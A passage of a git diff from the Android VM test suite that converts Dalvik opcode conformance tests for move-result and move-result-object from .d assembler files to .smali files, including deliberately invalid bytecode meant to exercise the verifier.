-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 16
-
-    const-wide v0, 123
-
-    invoke-static {} dot/junit/opcodes/move_result/d/T_move_result_5/foo()I
-    move-result v1
-    
-    return-wide v0
-.end method
-
-.method private static foo()I
-.limit regs 1
-
-     const v0, 12345
-     return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_5.smali
new file mode 100644
index 0000000..672bc85
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_5.smali
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_5.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 16
+
+    const-wide v0, 123
+
+    invoke-static {} , Ldot/junit/opcodes/move_result/d/T_move_result_5;->foo()I
+    move-result v1
+    
+    return-wide v0
+.end method
+
+.method private static foo()I
+.registers 1
+
+     const v0, 12345
+     return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_6.d
deleted file mode 100644
index 9afeb48..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_6.d
+++ /dev/null
@@ -1,44 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_6.java
-.class public dot.junit.opcodes.move_result.d.T_move_result_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 16
-
-    invoke-static {} dot/junit/opcodes/move_result/d/T_move_result_6/foo()I
-    nop
-    move-result v1
-    
-    return-void
-.end method
-
-.method private static foo()I
-.limit regs 1
-
-     const v0, 12345
-     return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_6.smali
new file mode 100644
index 0000000..2f4acb0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_6.smali
@@ -0,0 +1,44 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_6.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    invoke-static {} , Ldot/junit/opcodes/move_result/d/T_move_result_6;->foo()I
+    nop
+    move-result v1
+    
+    return-void
+.end method
+
+.method private static foo()I
+.registers 1
+
+     const v0, 12345
+     return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_7.d
deleted file mode 100644
index aaea908..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_7.d
+++ /dev/null
@@ -1,45 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_7.java
-.class public dot.junit.opcodes.move_result.d.T_move_result_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 16
-
-    goto Label1
-    invoke-static {} dot/junit/opcodes/move_result/d/T_move_result_7/foo()I
-Label1:
-    move-result v1
-    
-    return-void
-.end method
-
-.method private static foo()I
-.limit regs 1
-
-     const v0, 12345
-     return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_7.smali
new file mode 100644
index 0000000..b42b074
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_7.smali
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_7.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    goto :Label1
+    invoke-static {} , Ldot/junit/opcodes/move_result/d/T_move_result_7;->foo()I
+:Label1
+    move-result v1
+    
+    return-void
+.end method
+
+.method private static foo()I
+.registers 1
+
+     const v0, 12345
+     return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_8.d
deleted file mode 100644
index da32cd0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_8.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_8.java
-.class public dot.junit.opcodes.move_result.d.T_move_result_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 16
-
-    const v0, 0
-    
-    invoke-static {} dot/junit/opcodes/move_result/d/T_move_result_8/foo()I
-
-    move-result v16
-    return-void
-
-.end method
-
-.method private static foo()I
-.limit regs 1
-
-     const v0, 12345
-     return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_8.smali
new file mode 100644
index 0000000..0af3ea7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_8.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_8.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    const v0, 0
+    
+    invoke-static {} , Ldot/junit/opcodes/move_result/d/T_move_result_8;->foo()I
+
+    move-result v16
+    return-void
+
+.end method
+
+.method private static foo()I
+.registers 1
+
+     const v0, 12345
+     return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_1.d
deleted file mode 100644
index 433b86f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_1.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_1.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 16
-
-    const v0, 0
-    
-    invoke-direct {v15} dot/junit/opcodes/move_result_object/d/T_move_result_object_1/foo()Ljava/lang/Object;
-
-    move-result-object v0
-    
-    if-eq v0, v15, Label1
-
-    const v0, 0
-    return v0
-    
-Label1:
-    const v0, 1
-    return v0
-
-.end method
-
-.method private foo()Ljava/lang/Object;
-.limit regs 1
-
-     return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_1.smali
new file mode 100644
index 0000000..b3b76fa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_1.smali
@@ -0,0 +1,53 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_1.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 16
+
+    const v0, 0
+    
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_1;->foo()Ljava/lang/Object;
+
+    move-result-object v0
+    
+    if-eq v0, v15, :Label1
+
+    const v0, 0
+    return v0
+    
+:Label1
+    const v0, 1
+    return v0
+
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_2.d
deleted file mode 100644
index 22c1b0c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_2.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_object_2.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    invoke-direct {v15} dot/junit/opcodes/move_result_object/d/T_move_result_object_2/foo()Ljava/lang/Object;
-    move-result-object v16
-    
-    return-void
-.end method
-
-.method private foo()Ljava/lang/Object;
-.limit regs 1
-
-     return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_2.smali
new file mode 100644
index 0000000..e8281df
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_2.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_2.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_2;->foo()Ljava/lang/Object;
+    move-result-object v16
+    
+    return-void
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_3.d
deleted file mode 100644
index a788844..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_3.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_object_3.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    invoke-direct {v15} dot/junit/opcodes/move_result_object/d/T_move_result_object_3/foo()I
-    move-result-object v0
-    
-    return-void
-.end method
-
-.method private foo()I
-.limit regs 1
-     const v0, 1
-     return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_3.smali
new file mode 100644
index 0000000..9eb861c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_3.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_3.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_3;->foo()I
+    move-result-object v0
+    
+    return-void
+.end method
+
+.method private foo()I
+.registers 1
+     const v0, 1
+     return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_4.d
deleted file mode 100644
index b3229b7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_4.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_object_4.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    invoke-direct {v15} dot/junit/opcodes/move_result_object/d/T_move_result_object_4/foo()J
-    move-result-object v0
-    
-    return-void
-.end method
-
-.method private foo()J
-.limit regs 2
-
-    const-wide v0, 1234
-    return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_4.smali
new file mode 100644
index 0000000..4d84518
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_4.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_4.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_4;->foo()J
+    move-result-object v0
+    
+    return-void
+.end method
+
+.method private foo()J
+.registers 2
+
+    const-wide v0, 1234
+    return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_5.d
deleted file mode 100644
index 6216f18..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_5.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_object_5.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 16
-
-    const-wide v0, 123
-
-    invoke-direct {v15} dot/junit/opcodes/move_result_object/d/T_move_result_object_5/foo()Ljava/lang/Object;
-    move-result-object v1
-    
-    return-wide v0
-.end method
-
-.method private foo()Ljava/lang/Object;
-.limit regs 1
-
-     return-object v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_5.smali
new file mode 100644
index 0000000..cad59ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_5.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_5.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 16
+
+    const-wide v0, 123
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_5;->foo()Ljava/lang/Object;
+    move-result-object v1
+    
+    return-wide v0
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_6.d
deleted file mode 100644
index 8de3274..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_6.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_object_6.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    invoke-direct {v15} dot/junit/opcodes/move_result_object/d/T_move_result_object_6/foo()Ljava/lang/Object;
-    nop
-    move-result-object v1
-    
-    return-void
-.end method
-
-.method private foo()Ljava/lang/Object;
-.limit regs 1
-
-     return-object v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_6.smali
new file mode 100644
index 0000000..dcbb5a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_6.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_6.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_6;->foo()Ljava/lang/Object;
+    nop
+    move-result-object v1
+    
+    return-void
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_7.d
deleted file mode 100644
index 088b386..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_7.d
+++ /dev/null
@@ -1,44 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_object_7.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    goto Label1
-    invoke-direct {v15} dot/junit/opcodes/move_result_object/d/T_move_result_object_7/foo()Ljava/lang/Object;
-Label1:
-    move-result-object v1
-    
-    return-void
-.end method
-
-.method private foo()Ljava/lang/Object;
-.limit regs 1
-
-     return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_7.smali
new file mode 100644
index 0000000..f340f46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_7.smali
@@ -0,0 +1,44 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_7.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    goto :Label1
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_7;->foo()Ljava/lang/Object;
+:Label1
+    move-result-object v1
+    
